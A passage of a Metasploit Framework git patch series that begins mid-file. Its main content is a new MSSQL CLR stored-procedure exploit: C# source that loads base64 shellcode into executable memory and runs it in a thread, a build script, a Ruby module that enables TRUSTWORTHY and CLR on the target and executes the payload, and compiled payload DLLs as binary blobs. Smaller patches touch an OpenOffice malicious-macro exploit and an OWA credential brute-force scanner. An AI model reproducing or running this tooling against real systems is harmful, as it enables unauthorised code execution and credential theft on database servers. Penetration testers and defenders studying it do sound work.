#{post_url} (#{error})") - else - print_error("FAILURE: #{post_url} (Unknown error)") end end end From e1a1ea9d68715e5e612707d925cd74c3b4f1b9cb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Feb 2017 19:26:35 -0600 Subject: [PATCH 150/426] Fix grammar --- modules/exploits/multi/misc/openoffice_document_macro.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/openoffice_document_macro.rb b/modules/exploits/multi/misc/openoffice_document_macro.rb index 89b07a7367..23c4a95ecc 100644 --- a/modules/exploits/multi/misc/openoffice_document_macro.rb +++ b/modules/exploits/multi/misc/openoffice_document_macro.rb @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", 'Description' => %q{ This module generates an Apache OpenOffice Text Document with a malicious macro in it. - For exploit successfully, the targeted user must adjust the security level in Macro + To exploit successfully, the targeted user must adjust the security level in Macro Security to either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the macro. If set to Low, the macro can automatically run without any warning. From 3abd93d336aa8a5fc664a7c02b03f73bdce4f199 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 9 Feb 2017 09:30:19 -0600 Subject: [PATCH 151/426] inverted conditional --- plugins/aggregator.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index 7790a0835f..78e0aa4cca 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -175,7 +175,7 @@ module Msf return if !aggregator_verify address_list = @aggregator.available_addresses - return unless address_list.nil? + return if address_list.nil? print_status("Remote addresses found:") address_list.each do |addr| From 188f7370d42dd21a88194d3381267ac7aa64b461 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 9 Feb 2017 11:53:11 -0600 Subject: [PATCH 152/426] Fix grammar issues --- .../modules/exploit/multi/misc/openoffice_document_macro.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/openoffice_document_macro.md b/documentation/modules/exploit/multi/misc/openoffice_document_macro.md index 921ead7019..3e2227f8f1 100644 --- a/documentation/modules/exploit/multi/misc/openoffice_document_macro.md +++ b/documentation/modules/exploit/multi/misc/openoffice_document_macro.md @@ -3,7 +3,7 @@ This module generates an Apache OpenOffice Text Document with a malicious macro in it. It also works against LibreOffice. -For exploit successfully, the targeted user must adjust the security level in Macro Security to +To exploit successfully, the targeted user must adjust the security level in Macro Security to either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the macro. If set to Low, the macro can automatically run without any warning. @@ -14,8 +14,8 @@ macro. If set to Low, the macro can automatically run without any warning. ## Verification Steps -To use this exploit, you must know the platform of the targeted user. The module supports either -Windows, Linux, and OSX. If the target is using Windows, then the exploit will generate the macro +To use this exploit, you must know the platform of the targeted user. The module supports Windows, +Linux, and OSX. If the target is using Windows, then the exploit will generate the macro with malicious Powershell code inside. For other supported platforms, the exploit will generate Python code. From 4f13bde471bdca625ea48f5ee2887744f67749c1 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 9 Feb 2017 14:57:20 -0600 Subject: [PATCH 153/426] Override `empty?` for the weird ones Fixes #7899 --- .../framework/community_string_collection.rb | 4 ++++ lib/metasploit/framework/credential_collection.rb | 12 +++++++++--- modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb | 5 +++++ 3 files changed, 18 insertions(+), 3 deletions(-) diff --git a/lib/metasploit/framework/community_string_collection.rb b/lib/metasploit/framework/community_string_collection.rb index f58dcae9e2..071fbc92f7 100644 --- a/lib/metasploit/framework/community_string_collection.rb +++ b/lib/metasploit/framework/community_string_collection.rb @@ -59,6 +59,10 @@ module Metasploit end end + def empty? + prepended_creds.empty? && !pass_file.present? && !password.present? + end + # Add {Credential credentials} that will be yielded by {#each} # # @see prepended_creds diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index 4e4ba0cf10..b4123de30e 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -207,9 +207,15 @@ class Metasploit::Framework::CredentialCollection # Returns true when #each will have no results to iterate def empty? - hasUser = username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? - hasPass = password.present? || pass_file.present? || userpass_file.present? ||!additional_privates.empty? || blank_passwords - prepended_creds.empty? && !hasUser || (hasUser && !hasPass) + prepended_creds.empty? && !has_users? || (has_users? && !has_privates?) + end + + def has_users? + username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? + end + + def has_privates? + password.present? || pass_file.present? || userpass_file.present? || !additional_privates.empty? || blank_passwords end private diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index e10eae5dab..a0e6c3b91f 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -265,6 +265,11 @@ class MetasploitModule < Msf::Auxiliary valid! end + # Override CredentialCollection#has_privates? + def has_privates? + !@key_data.empty? + end + def realm nil end From 1c62559e55e9f4e755051c7836d0e23e856a4dad Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 10 Feb 2017 10:28:22 +1000 Subject: [PATCH 154/426] Add v1 of SQL Clr stored proc payload module --- .../SqlClrPayload/AssemblyAttributes-v2.0.cs | 1 + .../SqlClrPayload/AssemblyAttributes-v3.5.cs | 1 + .../SqlClrPayload/AssemblyAttributes-v4.0.cs | 3 + .../AssemblyAttributes-v4.5.1.cs | 5 + .../AssemblyAttributes-v4.5.2.cs | 4 + .../SqlClrPayload/AssemblyAttributes-v4.5.cs | 4 + .../AssemblyAttributes-v4.6.1.cs | 3 + .../SqlClrPayload/AssemblyAttributes-v4.6.cs | 3 + external/source/SqlClrPayload/AssemblyInfo.cs | 36 ++++ .../source/SqlClrPayload/StoredProcedures.cs | 23 +++ external/source/SqlClrPayload/make.bat | 48 +++++ .../windows/mssql/mssql_clr_payload.rb | 174 ++++++++++++++++++ 12 files changed, 305 insertions(+) create mode 100644 external/source/SqlClrPayload/AssemblyAttributes-v2.0.cs create mode 100644 external/source/SqlClrPayload/AssemblyAttributes-v3.5.cs create mode 100644 external/source/SqlClrPayload/AssemblyAttributes-v4.0.cs create mode 100644 external/source/SqlClrPayload/AssemblyAttributes-v4.5.1.cs create mode 100644 external/source/SqlClrPayload/AssemblyAttributes-v4.5.2.cs create mode 100644 external/source/SqlClrPayload/AssemblyAttributes-v4.5.cs create mode 100644 external/source/SqlClrPayload/AssemblyAttributes-v4.6.1.cs create mode 100644 external/source/SqlClrPayload/AssemblyAttributes-v4.6.cs create mode 100755 external/source/SqlClrPayload/AssemblyInfo.cs create mode 100755 external/source/SqlClrPayload/StoredProcedures.cs create mode 100644 external/source/SqlClrPayload/make.bat create mode 100644 modules/exploits/windows/mssql/mssql_clr_payload.rb diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v2.0.cs b/external/source/SqlClrPayload/AssemblyAttributes-v2.0.cs new file mode 100644 index 0000000000..04b08ad050 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v2.0.cs @@ -0,0 +1 @@ +// Deliberately blank diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v3.5.cs b/external/source/SqlClrPayload/AssemblyAttributes-v3.5.cs new file mode 100644 index 0000000000..04b08ad050 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v3.5.cs @@ -0,0 +1 @@ +// Deliberately blank diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.0.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.0.cs new file mode 100644 index 0000000000..235cd49a0f --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.0.cs @@ -0,0 +1,3 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.5.1.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.1.cs new file mode 100644 index 0000000000..0e1e3b62c8 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.1.cs @@ -0,0 +1,5 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5.1", FrameworkDisplayName = ".NET Framework 4.5.1")] + + diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.5.2.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.2.cs new file mode 100644 index 0000000000..b14c7f8ffa --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.2.cs @@ -0,0 +1,4 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5.2", FrameworkDisplayName = ".NET Framework 4.5.2")] + diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.5.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.cs new file mode 100644 index 0000000000..8b3205f1d2 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.cs @@ -0,0 +1,4 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] + diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.6.1.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.6.1.cs new file mode 100644 index 0000000000..9d05a55a19 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.6.1.cs @@ -0,0 +1,3 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.1", FrameworkDisplayName = ".NET Framework 4.6.1")] diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.6.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.6.cs new file mode 100644 index 0000000000..6205f387c5 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.6.cs @@ -0,0 +1,3 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")] diff --git a/external/source/SqlClrPayload/AssemblyInfo.cs b/external/source/SqlClrPayload/AssemblyInfo.cs new file mode 100755 index 0000000000..270916e501 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SqlClrPayload")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SqlClrPayload")] +[assembly: AssemblyCopyright("Copyright © 2017")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("33827137-7d8c-40e5-afd9-d71e916e0e2d")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/external/source/SqlClrPayload/StoredProcedures.cs b/external/source/SqlClrPayload/StoredProcedures.cs new file mode 100755 index 0000000000..9a7237017c --- /dev/null +++ b/external/source/SqlClrPayload/StoredProcedures.cs @@ -0,0 +1,23 @@ +using System; + +public partial class StoredProcedures +{ + private static Int32 MEM_COMMIT = 0x1000; + private static IntPtr PAGE_EXECUTE_READWRITE = (IntPtr)0x40; + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect); + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId); + + [Microsoft.SqlServer.Server.SqlProcedure] + public static void ExecuteB64Payload(string base64EncodedPayload) + { + var bytes = Convert.FromBase64String(base64EncodedPayload); + var mem = VirtualAlloc(IntPtr.Zero,(UIntPtr)bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + System.Runtime.InteropServices.Marshal.Copy(bytes, 0, mem, bytes.Length); + var threadId = IntPtr.Zero; + CreateThread(IntPtr.Zero, UIntPtr.Zero, mem, IntPtr.Zero, 0, ref threadId); + } +} diff --git a/external/source/SqlClrPayload/make.bat b/external/source/SqlClrPayload/make.bat new file mode 100644 index 0000000000..53f10fce64 --- /dev/null +++ b/external/source/SqlClrPayload/make.bat @@ -0,0 +1,48 @@ +@ECHO OFF +IF "%VSINSTALLDIR%" == "" GOTO NEED_VS + +SET FRAMEWORKDIR=%VSINSTALLDIR%..\Reference Assemblies\Microsoft\Framework\.NETFramework +SET DNETDIR=%WINDIR%\Microsoft.NET\Framework +SET TARGETDIR=..\..\..\data\SqlClrPayload + +mkdir "%TARGETDIR%" 2> NUL + +SET VER=v2.0 +SET FW=%DNETDIR%\v2.0.50727 +IF EXIST "%FW%" ( + ECHO Building SqlClrPayload for .NET %VER% + mkdir "%TARGETDIR%\%VER%" 2> NUL + csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs +) + +SET VER=v3.5 +SET CORE=%FRAMEWORKDIR%\..\%VER% +SET FW=%DNETDIR%\v2.0.50727 +IF EXIST "%CORE%" ( + ECHO Building SqlClrPayload for .NET %VER% + mkdir "%TARGETDIR%\%VER%" 2> NUL + csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%CORE%\System.Core.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs +) + +FOR %%v IN (v4.0 v4.5 v4.5.1 v4.5.2 v4.6 v4.6.1) DO CALL :BUILDLATEST %%v + +ECHO Done. +GOTO :END + +:NEED_VS +ECHO "This command must be executed from within a Visual Studio Command prompt." +ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools" + +:END + +EXIT /B 0 + +:BUILDLATEST +SET VER=%~1 +SET FW=%FRAMEWORKDIR%\%VER% +IF EXIST "%FW%" ( + ECHO Building SqlClrPayload for .NET %VER% + mkdir "%TARGETDIR%\%VER%" 2> NUL + csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%FW%\System.Core.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs +) +EXIT /B 0 diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb new file mode 100644 index 0000000000..af03e3d077 --- /dev/null +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', + 'Description' => %q{ + This module executes an arbitrary native payload on a Microsoft SQL + server by loading a custom SQL CLR Assembly into the target SQL + installation, and calling it directly with a base64-encoded payload. + + The module requires working credentials in order to connect directly to the + MSSQL Server. + + This method requires the user to have sufficient privileges to install a custom + SQL CRL DLL, and invoke the custom stored procedure that comes with it. + + This exploit does not leave any binaries on disk. + }, + 'Author' => + [ + 'Lee Christensen', # original idea/research + 'Nathan Kirk', # extra research/blog post + 'OJ Reeves' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/'] + ], + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 01 1999' + )) + + register_options( + [ + OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master']) + ]) + end + + def check + unless mssql_login_datastore + vprint_status("Invalid SQL Server credentials") + return Exploit::CheckCode::Detected + end + + if mssql_is_sysadmin + vprint_good "User #{datastore['USERNAME']} is a sysadmin" + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + ensure + disconnect + end + + def get_exploit_version(sql_version_string) + 'v3.5' + end + + def set_trustworthy(on) + mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false) + end + + def is_trustworthy + # SQLi in MSF!! OMG! + result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false) + result[:rows][0] == 'ON' + end + + def enable_clr(enable) + query = %Q^ +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'clr enabled', #{enable ? 1 : 0}; +RECONFIGURE; + ^ + mssql_query(query, false) + end + + def is_clr_enabled + result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false) + result[:rows][0] == 'ON' + end + + def exploit + mssql_login_datastore + + unless mssql_is_sysadmin + fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions') + end + + unless datastore['EXITFUNC'].downcase == 'thread' + fail_with(Failure::BadConfig, 'EXITFUNC must be set to "thread"') + end + + trustworthy = is_trustworthy + clr_enabled = is_clr_enabled + + unless trustworthy + print_status('Database does not have TRUSTWORTHY setting on, enabling ...') + set_trustworthy(true) + end + + unless clr_enabled + print_status('Database does not have CLR support enabled, enabling ...') + enable_clr(true) + end + + sql_version = mssql_query("select @@version", false)[:rows].first[0] + vprint_status("Target SQL Version is:\n#{sql_version}") + exploit_version = get_exploit_version(sql_version) + print_status("Using version #{exploit_version} of the Assembly") + exploit_file_path = ::File.join(Msf::Config.install_root, 'data', + 'SqlClrPayload', exploit_version, 'SqlClrPayload.dll') + vprint_status("Using #{exploit_file_path}") + + assembly = ::File.read(exploit_file_path) + + # Convert the assembly to the required format for execution of the stored + # procedure to create the custom stored proc + hex_assembly = "0x#{assembly.unpack('H*')[0]}" + query = "CREATE ASSEMBLY [runstuff] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" + + print_status('Adding custom payload assembly ...') + mssql_query(query, false) + + query = "CREATE PROCEDURE [dbo].[ExecuteB64Payload](@base64EncodedPayload AS NVARCHAR(MAX)) AS EXTERNAL NAME [runstuff].[StoredProcedures].[ExecuteB64Payload]" + + print_status('Exposing payload execution stored procedure ...') + mssql_query(query, false) + + # Generate the base64 encoded payload + b64payload = Rex::Text.encode_base64(payload.encoded) + query = "EXEC [dbo].[ExecuteB64Payload] '#{b64payload}'" + print_status('Executing the payload ...') + mssql_query(query, false) + + print_status('Removing stored procedure ...') + mssql_query('DROP PROCEDURE [dbo].[ExecuteB64payload]', false) + + print_status('Removing assembly ...') + mssql_query('DROP ASSEMBLY [runstuff]', false) + + unless clr_enabled + print_status('Restoring CLR setting ...') + enable_clr(false) + end + + unless trustworthy + print_status('Restoring Trustworthy setting ...') + set_trustworthy(false) + end + + ensure + disconnect + end + +end From 58779f0aafb33b207d2704b26b59684c4885fbb1 Mon Sep 17 00:00:00 2001 From: jakxx Date: Thu, 9 Feb 2017 21:35:58 -0500 Subject: [PATCH 155/426] owa_login no mailbox bugfix The owa_login module currently misses a success condition where the creds are valid but there is no mailbox setup. This commit adds the check for the condition for OWA 2013. --- modules/auxiliary/scanner/http/owa_login.rb | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 6ad02d5caf..ac797e504e 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary 'Brandon Knight', 'Pete (Bokojan) Arzamendi', # Outlook 2013 updates 'Nate Power', # HTTP timing option - 'Chapman (R3naissance) Schleiss' # Save username in creds if response is less + 'Chapman (R3naissance) Schleiss', # Save username in creds if response is less + 'Andrew Smith' # valid creds, no mailbox ], 'License' => MSF_LICENSE, 'Actions' => @@ -218,6 +219,19 @@ class MetasploitModule < Msf::Auxiliary end # No password change required moving on. + # Check for valid login but no mailbox setup + if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/ + print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE a mailbox is not setup") + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'owa', + user: user, + password: pass + ) + return :next_user + end + unless location = res.headers['location'] print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.") return :abort From 2d834a3f5af837bf40e435c25cdcacd02f4821a8 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 10 Feb 2017 12:56:40 +1000 Subject: [PATCH 156/426] Finalise module, and add supporting binaries --- data/SqlClrPayload/v2.0/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v3.5/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.0/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.5.1/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.5.2/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.5/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.6.1/SqlClrPayload.dll | Bin 0 -> 5120 bytes data/SqlClrPayload/v4.6/SqlClrPayload.dll | Bin 0 -> 5120 bytes .../windows/mssql/mssql_clr_payload.rb | 88 +++++++++++++----- 9 files changed, 63 insertions(+), 25 deletions(-) create mode 100755 data/SqlClrPayload/v2.0/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v3.5/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.0/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.5.1/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.5.2/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.5/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.6.1/SqlClrPayload.dll create mode 100755 data/SqlClrPayload/v4.6/SqlClrPayload.dll diff --git a/data/SqlClrPayload/v2.0/SqlClrPayload.dll b/data/SqlClrPayload/v2.0/SqlClrPayload.dll new file mode 100755 index 0000000000000000000000000000000000000000..6d9236cb3ea0961730d6ff209ccc4e4181e7072d GIT binary patch literal 5120 zcmeHLU1%KF6+SbwyIM<@kmT4|(Z(4gr(LVkuq(;>Nv%|?)yh>ZS!?Y|c1>D&cIHZ& zXm(~jGn;4=5Gt($p+D4th6GAzAQV#iP(x|cKvG)rP}&4Sp``R782VaTC=^Peb-#OO zSG)SDTl#2nNB5g^&pG$pbI<*mvs%3VZBmFRf_m>B(VKYlGA;1_unTe5qi=Q5kB_~7 z=1png{WHZ)%U3I&yW#0&)zBTs4b&1-y{e;Hjyk(kP|L2#w9d}rk?FKSDfCYot!3bLEW6@~jIQ+mAnFYpR5OL{Lc#7pkIN0jy?hw=vAOkzrz9lI;_Pp>wnUh=#oOXLDzZI zr6}YQMRs{CTFU^|G2CY%SE3<7?B^B5Y74=IMc1s_>pyOiQJwm=VxoZgDNUw7585q0#UQpHTjLq+^tjF|#6*uuRDYwmxYQSd3M(ZP!W?)#dD}_M!f{bZ;b5DYeg%t+1}85>{;d;o>k$hhlN?! zS+_Q-o|w&1;&MfIYKH}wu~{{O!-A|^sd?7M<`JTzr<<&-ds|2Js@ee-wkc@Lvg!m@ znQ8M*z&y87VBXV~fv9HP@~Y)qrPldgtXgK%KqDxt%=3?&`J835L&Ey71#AV+3Tj%O zd1cGz27GETo4n>|4Ou2!kptet+X_bWTHOaj#C)0A`nI6_rn%*C+Poh`CCi2{P3gY# zL9@0!U#_^=p^Z&PTg-EqJu+NB9onoO=(K1Vp6k2ofrkFv6Xt2*iyyeXv(>bMtpS~Y z<~+ANBX(l=*Zhd3(36Gu3zMj_lzH@mBAIhIT`{Zih=-n6OSX_=J+9;Ap^u-hH z6vI1_h<7IA3pStSlmCLS^+cuauvA9p%XMAb* zRZZIc+JPXp?oKRaxMh#nor7xQx*SyNJAR5MDtHFfY#>e&Z#`&@IEAO74e7{@3KL zWnB-ucu}{U@M337-1=PO-eV+ku%`CM)PocOp52N3b$9=)!mJu6=H>0kU;Y*5Dq`1y6TUwuq&)ZApSN)KEUE;n zI(e{TA+Kk!=^z7gxtPw1UPVZCaPbYtJAj^xR#<)%Nx@eMJ_XRSz~4B+(s7}aqQ)~y zCD45QF7$1TJd4qNGK8JVzHth46JuvlJ^UupsRqi$8`lo(#9M5v!Upo079Z2d^iq43 zkJ$@-KFdJpIY-5$9-wUgSY;7pDu`4=3&c)pH;*$Xqnah=7rzRB8L0>9*pF{ tI8KN@8N}L09LiWx8xc^koA$53!G4(bgIUz@e+H??AI#}}JgfUh;NOX){-^)| literal 0 HcmV?d00001 diff --git a/data/SqlClrPayload/v3.5/SqlClrPayload.dll b/data/SqlClrPayload/v3.5/SqlClrPayload.dll new file mode 100755 index 0000000000000000000000000000000000000000..34c80913397604d16b86a2666f984572f54bb509 GIT binary patch literal 5120 zcmeHLU2G#)6+Sa#JKkgyCE0fC2)dnBc8fP8BRk3Fr)d z#vbp?xQ$yWGJ;mBP!Zb)L?u*F34w}uU?l{lqD7!SRJ4^=NT|R=wTM>)5)u+Zg5|q+ z?AZBXK|HQ{C-<9k&pG$pbI<*m<1AhKIw?dHLcM#J=ykk#NeR3+)FJM98hW|x_-c`jua+E>Y2DqOXBwt+S)xTrp)YTK z>uPhfJ0zd(lDdeFgA)n3+7R9;XQBM| z98sPVDWW(J#KCesaN{8RzqVDPXq!?L?a#KgHJ|PHXpeUSAQN+K_>Gn*D$#Y#^;`oj z;ads>pJ)$iTS>ut&1JR&MIJJ`j>>KIqqdb4(QI2&ki9&vDBL%h!t|aB8^?$w&ip^h ziA02Q=!gD&avTnHcJ7`4M!se}8Giu8E+nB{co&L;igZOzc0d+?kc+tDae=!hL3Rl8 zWWOATdgRfeFRFYc>)gO2srW3Np=K_B(@NWV~I%kK9SmD%X_= z-BkF9-xv5}fxm(@LVs31M4SRIIr68MJ`PS;(0w!qzx!yJy15$F>882?4L+-&xftP_v`n;fZftJ7SS)`xRua(Q7ZzjCt zbFO1Bv+6RBN}l1kwpFBj>7_mWxj^!>6U}(t2ijX=$NAx%9>CdiH8Ivs%cmuVmA6 zS5_7ZSz5DPzpC45o8Mg-m+3w$Y~f{6c83{NpUqB;H%2DSz_4Uj^1kl+Y14Gcvz}qJ z5%ku5%PALX70!TXJ|Ew%1jf=n&Ug{lJTjj~cVj!xd$yTko<|iOA1x>dH(+eu)^RN~ zZ7i5n)IByao-G^rgqcmRf*EToY{SNo=tgPJW2K^9D_FkG_J-bL&oR$%tqNB?EX+9N z4QsRNirE|`E>-k$?XUndHminzSdeilHP_nQIzm)%b(58Jcl(H5RolnHwgk;tR?EIs zV%kF4XRcGpGxsUWKvXkMY0dJiV*7kARxPt-pc#}k=6XlYeBQFzAz@?KJhp;s`86%a z+>+&S10FS*EnaK1rYs$-$N}%+Z3Uyb?e2piV!py`eMeAU%iKyZZQc)}qGiLEmUQ3w zpgG%KC{-Nn(B`J2ZRVDlJvQ1n9on4k>$GGUuH!iyzJ~tX6Xt5ciyyeXv(>VKtpOdM z=3S>WD|TY=*-u=Vvch3G!N&Rg4d(MSxkG@FJpFH!#+Q9go7vxA(j>I}B6pIZ+ zW1SSiI~I%f#zG`XJ?JilR1h5GFraUSlhF{rpYRoVINSrpfvzZpKu2RRHW2Ah9uCK1 